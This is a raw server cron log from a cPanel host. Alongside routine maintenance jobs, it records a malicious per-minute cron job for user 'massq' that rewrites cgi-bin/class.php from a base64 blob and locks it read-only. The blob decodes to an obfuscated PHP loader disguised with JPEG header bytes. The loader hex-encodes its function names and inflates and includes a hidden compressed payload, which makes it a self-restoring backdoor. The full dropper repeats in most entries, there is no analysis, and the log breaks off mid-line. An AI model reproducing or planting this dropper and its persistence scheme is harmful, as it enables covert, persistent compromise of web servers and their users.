Apr  9 07:55:01 server CROND[8771]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:55:01 server CROND[8772]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:56:01 server CROND[8887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:57:01 server CROND[8982]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 07:57:01 server CROND[8983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:58:01 server CROND[9044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:59:01 server CROND[9202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:00:01 server CROND[9265]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 08:00:01 server CROND[9267]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  9 08:00:01 server CROND[9273]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Apr  9 08:00:01 server CROND[9272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:00:01 server CROND[9274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:00:01 server CROND[9270]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:01:01 server CROND[9413]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 08:01:01 server CROND[9414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:01:01 server run-parts(/etc/cron.hourly)[9413]: starting 0anacron
Apr  9 08:01:01 server run-parts(/etc/cron.hourly)[9426]: finished 0anacron
Apr  9 08:02:01 server CROND[9488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:03:01 server CROND[9551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:04:01 server CROND[9723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:05:01 server CROND[9812]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 08:05:01 server CROND[9813]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  9 08:05:01 server CROND[9815]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 08:05:01 server CROND[9816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 08:05:01 server CROND[9817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:06:01 server CROND[9951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:07:01 server CROND[10020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:08:01 server CROND[10141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 08:09:01 server CROND[10303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 